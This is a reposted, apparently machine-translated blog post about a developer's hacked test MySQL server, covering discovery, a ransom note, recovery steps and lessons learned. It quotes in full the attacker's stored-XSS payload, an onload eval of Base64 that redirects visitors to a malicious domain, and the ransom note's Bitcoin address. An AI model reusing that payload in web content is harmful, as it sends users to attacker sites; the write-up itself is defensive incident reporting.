Operation and maintenance|MySQL database was hacked, mentally and physically exhausted

Original link: https://mazhuang.org/2023/10/08/what-to-do-after-mysql-been-hacked/

A while ago, a MySQL database used for testing was hacked, and the database was deleted and blackmailed. Here is a record of what happened, as a warning to myself.

0x00 Found clues

One day, when I was self-testing the function, I found that every detailed information displayed in the APP had a garbled code. It was just a bit strange, so I didn’t pay much attention to it. Later, when I was debugging the web page, I saw an error in the console, so I just looked at it. After taking a quick look, I found something like this on the details page:

body-onload

After discussing it with my front-end partner, I finally debugged it locally and found that a field in the database had been changed to this:

 <body/onload=eval(atob("d2luZG93LmxvY2F0aW9uLnJlcGxhY2UoImh0dHBzOi8vaHpyMGRtMjhtMTdjLmNvbS9lYm1zczBqcTc/a2V5PWM5MGEzMzYzMDEzYzVmY2FhZjhiZjVhOWE0ZTQwODZhIik="))>

The string in atob is window.location.replace("https://xxx.com/xxx") encoded by Base64, so if this code is loaded normally in the web page, the web page will be automatically redirected to an evil URL:

fake-security-tips

Isn’t it scary? If people who browse the web are not vigilant, they may be infected. At this time, I realized that my test environment was being treated as a broiler…

However, I was careless at the time because I had not yet figured out how to attack and tamper with it. I thought it was injected from the page, so I added some protective logic to the logic, changed the field values ​​back, and then continued working.

0x01 No one in the library is confused

On the second day, I was happily testing the function, and suddenly every page I opened reported a database exception. When I went to the library, I saw that all the tables were gone, and there was only a readme left, which said:

The following database has been deleted: xxx. We have complete backups. To restore it, you must pay 0.016 Bitcoin (BTC) to our Bitcoin address bc1q8erv6l4xrdqsfpwp92gm0mccur49pqn8l8epfg. If you need proof, please contact us via the email below. [email protected] . Any emails not related to payment will be ignored!

Things are not as simple as I thought! If you can delete all the tables in the library, you may have obtained the permissions of the database and server.

After carefully recalling what happened some time ago, I speculate that the process may be like this:

  • At first, one day I received an alert from Alibaba Cloud, indicating that AK was leaked. After checking the event log, I found that a RAM sub-account was created using AK and given high permissions. At that time, I disabled the AK involved and deleted the created sub-account. , but the server should have been penetrated;
  • Then the database fields were tampered with. It is estimated that on the one hand, the server resources are used as a broiler to continue to spread attacks on others, and on the other hand, they are used as bait to monitor and process actions;
  • The last step is to delete the database for blackmail.

0x02 Take back authority

The top priority is to regain access and restore data. The permissions of the entire server and database should be insecure, so I first took the following measures:

  • Check the server security group rules and find that a record that allows public network access to 3306 and all ports has been added, delete it;
  • Check the users on the server and find that there is an extra user guest with uid 0, so disable it;
  • Check the process and find the bash process started by guest user and the mysql root user process, kill them;
  • Modify the passwords of all users on the server and check user permissions;
  • Modify the database port, reset all users and passwords, and grant only necessary permissions to users;
  • Update the server to fix known security vulnerabilities;

Main instructions used:

 # 检查Linux 服务器上的用户cat /etc/passwd # 修改用户密码passwd <username> # 检查进程ps -ef # 杀掉进程kill -9 <pid> # 修改数据库端口vim /etc/my.cnf # mysql 删除用户,在mysql 命令行执行drop user '<user_name>' @ '<scope>' ; # mysql 创建用户,赋予权限,在mysql 命令行执行create user '<user_name>' @ '<scope>' IDENTIFIED BY '<password>' ; grant select ,insert,update,delete on '<database_name>' . * to '<user_name>' @ '<scope>' ;

0x03 Repair data

The next step is to repair the data.

The MySQL instance used for this test had binlog enabled, but unfortunately it was cleared by the attacker, so it could only be restored from backup. Use scheduled tasks + mysqldump to back up data once a day. Find a suitable backup and restore the data.

ps: Fortunately I have a backup, otherwise I would be crying without tears.

 # 解压备份文件gunzip -c xxx.sql.gz > xxx.sql # 恢复数据,在mysql 命令行执行use <database_name> ; souce /path/to/xxx.sql ;

0x04 Summary

The operation process of the above steps is far from being as simple as it seems. It actually took me a long time.

This incident made me deeply aware that security issues cannot be ignored. Whether it is a server or a database, security measures must be taken to prevent attackers from taking advantage of them. Otherwise, when it comes to being attacked and there is no hope of recovering on its own, it will make heaven and earth unable to respond, and earth and earth will become ineffective. To put it bluntly, even if there is a backup, it will consume a lot of time and energy and affect normal work and life.

Safety has a long way to go, so we will do the following first:

  • Access control, granting only necessary permissions;
  • Regular backup of server mirroring and database;
  • Regular vulnerability scanning and repair;
  • Sensitive data encryption;
  • operational audit;

Finally, the alarm bells ring!

This article is reproduced from: https://mazhuang.org/2023/10/08/what-to-do-after-mysql-been-hacked/
This site is for inclusion only, and the copyright belongs to the original author.